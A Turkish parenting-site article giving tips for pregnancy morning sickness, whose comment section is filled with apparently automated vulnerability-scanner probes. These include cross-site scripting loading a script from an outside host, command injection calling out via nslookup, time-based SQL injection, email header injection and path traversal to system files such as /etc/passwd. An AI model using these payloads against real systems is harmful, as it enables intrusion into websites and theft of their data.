Kayıt Ol / Giriş Yap

Giriş Yap

Şifremi Unuttum Aktivasyon Kodu

Şifremi Unuttum


< Geri Dön

Aktivasyon Kodu


< Geri Dön

Henüz üye değilsen:

Kayıt Ol
Ana Sayfa

Hamileyim / Sağlık

AAA

Sabah Bulantılarından Nasıl Kurtulurum?

Sabah Bulantılarından Nasıl Kurtulurum?

Hamilelikte sabah bulantısına kan şekerinin düşmesi ve/veya sürekli değişen hamilelik hormonları neden olur ve maalesef mucizevi bir tedavisi yoktur. Fakat yardımcı olabilecek bazı ipuçları bulunmaktadır:

 • Sık ve az yiyin. Her iki ya da üç saatte bir bir şeyler yemeye çalışın. Mideniz hiç boş kalmamalı.

• Bulantıların sabahları daha yaygın olmasının nedeni bir süredir bir şeyler yememiş olmanız ve dolayısıyla kan şekerinizin düşük olmasıdır. Eğer bulantı hissiyle uyandıysanız, yataktan çıkmadan önce birkaç kraker ya da muz yemeyi deneyin. Gece yatmadan önce hafif bir gece atıştırmalığı da yardımcı olabilir.

• Kepekli ekmekten yapılmış tost, krakerler, sade bisküviler, pirinç ve patates gibi yüksek karbonhidratlı ve hafif yiyecekler seçin. Asitsiz meyve ve sebzeleri tüketin. Yağlı etlerden ve kızartılmış yiyeceklerden uzak durun.

• Ne yiyeceğinize karar verirken, vücudunuzu dinleyin. Aynı zamanda da beslenmenizi mümkün olduğu kadar sağlıklı ve dengeli tutmayı amaçlayın. Alışılmadık yiyecekler ya da normalde hoşlanmadığınız yiyecekler için aşerebilirsiniz. Vücudunuzun bu isteklerini yerine getirmek problem teşkil etmez.

• Gece iyi uyumaya çalışın, mümkünse gün içerisinde de şekerleme yapın ve strese kapılmayın. Çoğu kadın hamileliğin ilk haftalarında kendini oldukça yorgun hisseder ve bu durum bulantılarını daha da kötüleştirir.

• Bol su, meyve suyu ya da süt için. Kahve ve alkolden kaçının.

• Eğer normalde araba ya da deniz sizi tutuyorsa, uzun araba seyahatlerinden ya da gemi gezintilerinden kaçınmaya çalışın. Hareket mide bulantısını arttırabilir.

• Bulantıları tetikleyebileceği için sigara dumanından ve ızgara dumanından kaçının.

• Zencefil en iyi bilinen çarelerden biridir. Zencefil çayı bulantıyı azaltmak için idealdir ve çoğu aktarda satılmaktadır. Bunun yanında zencefilli bisküviler ya da zencefilli meşrubatlar da hafif bulantı durumlarında yeterli olabilir.

Eğer hiçbir şey kendinizi iyi hissetmenize yardımcı olmuyorsa, hamilelik bulantılarının sağlıklı bir hamilelik göstergesi olarak kabul edildiğini ve genellikle 14-16. haftalar arasında kaybolduğunu düşünerek kendinizi rahatlatın. Bu bulantılarınızı geçirmeye yardımcı olmayacaktır fakat en azından kendinizi bir nebze daha iyi hissetmenizi sağlayacaktır.





 

Yorumlar

Yorum eklemek için üye girişi yapmanız gerekiyor
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1BSnBD3QmeO
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1'"
28 Şubat 2019
\
28 Şubat 2019
1
28 Şubat 2019
@@85bTK
28 Şubat 2019
JyI=
28 Şubat 2019
28 Şubat 2019
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
response.write(9912480*9024949)
28 Şubat 2019
1'>"></title></style></textarea></noscript></template></script><script/src="//bxss.me/s?u=053319&r=54-80780&h=54-b41f2-2&"></script>
28 Şubat 2019
'+response.write(9912480*9024949)+'
28 Şubat 2019
"+response.write(9912480*9024949)+"
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
xecaUnji
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
set|set&set
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
$(nslookup dns.ce.\053319.54-80787.54.b41f2.\1.bxss.me)
28 Şubat 2019
1
28 Şubat 2019
&nslookup dns.ce.\053319.54-80789.54.b41f2.\1.bxss.me&'\"`0&nslookup dns.ce.\053319.54-80789.54.b41f2.\1.bxss.me&`'
28 Şubat 2019
1
28 Şubat 2019
1 bcc:053319.54-80790.54.b41f2.1@bxss.me
28 Şubat 2019
to@example.com> bcc:053319.54-80791.54.b41f2.1@bxss.me
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1<esi:include src="http://testasp.vulnweb.com/rpb.png"/>
28 Şubat 2019
12345'"\'\");|]*{ <>
28 Şubat 2019
${10000422+9999850}
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1&n919567=v922712
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
)
28 Şubat 2019
1
28 Şubat 2019
'"()
28 Şubat 2019
1
28 Şubat 2019
!(()&&!|*|*|
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
^(#$!@#$)(()))******
28 Şubat 2019
1
28 Şubat 2019
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1some_inexistent_file_with_long_name.jpg
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
Http://testasp.vulnweb.com/t/fit.txt
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
http://testasp.vulnweb.com/t/fit.txt?.jpg
28 Şubat 2019
HttP://testasp.vulnweb.com/t/xss.html?%00
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
testasp.vulnweb.com
28 Şubat 2019
;print(md5(acunetix_wvs_security_test));
28 Şubat 2019
testasp.vulnweb.com/t/xss.html?%00
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
';print(md5(acunetix_wvs_security_test));$a='
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
";print(md5(acunetix_wvs_security_test));$a="
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
comment
28 Şubat 2019
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
28 Şubat 2019
http://hithHsAHf8FnG.bxss.me/
28 Şubat 2019
${@print(md5(acunetix_wvs_security_test))}
28 Şubat 2019
/www.vulnweb.com
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
comment
28 Şubat 2019
${@print(md5(acunetix_wvs_security_test))}\
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
comment/.
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
'"
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
<!--
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
Z4A0sWH5
28 Şubat 2019
1'"()&%<acx><ScRiPt >ca0D(9049)</ScRiPt>
28 Şubat 2019
1
28 Şubat 2019
-1 OR 2+463-463-1=0+0+0+1 --
28 Şubat 2019
'"()&%<acx><ScRiPt >ca0D(9010)</ScRiPt>
28 Şubat 2019
1
28 Şubat 2019
-1 OR 2+426-426-1=0+0+0+1
28 Şubat 2019
19890118
28 Şubat 2019
-1' OR 2+173-173-1=0+0+0+1 --
28 Şubat 2019
1
28 Şubat 2019
-1' OR 2+535-535-1=0+0+0+1 or 'sbGqgZiD'='
28 Şubat 2019
1
28 Şubat 2019
-1" OR 2+927-927-1=0+0+0+1 --
28 Şubat 2019
1
28 Şubat 2019
if(now()=sysdate(),sleep(9),0)
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
0'XOR(if(now()=sysdate(),sleep(3),0))XOR'Z
28 Şubat 2019
0"XOR(if(now()=sysdate(),sleep(6),0))XOR"Z
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
(select(0)from(select(sleep(9)))v)/*'+(select(0)from(select(sleep(9)))v)+'"+(select(0)from(select(sleep(9)))v)+"*/
28 Şubat 2019
1
28 Şubat 2019
-1; waitfor delay '0:0:3' --
28 Şubat 2019
1
28 Şubat 2019
-1); waitfor delay '0:0:3' --
28 Şubat 2019
1
28 Şubat 2019
1 waitfor delay '0:0:6' --
28 Şubat 2019
1
28 Şubat 2019
iY0d5hUT'; waitfor delay '0:0:9' --
28 Şubat 2019
1
28 Şubat 2019
-1;select pg_sleep(3); --
28 Şubat 2019
1
28 Şubat 2019
-1);select pg_sleep(6); --
28 Şubat 2019
-1));select pg_sleep(6); --
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
zY1LoaY6';select pg_sleep(9); --
28 Şubat 2019
1
28 Şubat 2019
AlTfbDGZ');select pg_sleep(3); --
28 Şubat 2019
1
28 Şubat 2019
noIthsgu'));select pg_sleep(6); --
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
1
28 Şubat 2019
../../../../../../../../../../etc/passwd
28 Şubat 2019
../../../../../../../../../../../../../../../proc/version
28 Şubat 2019
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
28 Şubat 2019
../../../../../../../../../../etc/passwd.jpg
28 Şubat 2019
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
28 Şubat 2019
/../..//../..//../..//../..//../..//etc/passwd.jpg
28 Şubat 2019
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
28 Şubat 2019
/etc/passwd
28 Şubat 2019
%2fetc%2fpasswd
28 Şubat 2019
/.././.././.././.././.././.././.././../etc/./passwd%00
28 Şubat 2019
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
28 Şubat 2019
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
28 Şubat 2019
..
28 Şubat 2019
invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
28 Şubat 2019
file:///etc/passwd
28 Şubat 2019
/\../\../\../\../\../\../\../etc/passwd
28 Şubat 2019
/WEB-INF/web.xml
28 Şubat 2019
../../../../../../../../../../windows/win.ini
28 Şubat 2019
C:\WINDOWS\system32\drivers\etc\hosts
28 Şubat 2019
../../../../../../../../../../windows/win.ini.jpg
28 Şubat 2019
28 Şubat 2019
................windowswin.ini
28 Şubat 2019
..\..\..\..\..\..\..\..\windows\win.ini
28 Şubat 2019
/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
28 Şubat 2019
../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
28 Şubat 2019
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
28 Şubat 2019
unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\
28 Şubat 2019
WEB-INF/web.xml
28 Şubat 2019
WEB-INF\web.xml

Diğer Makaleler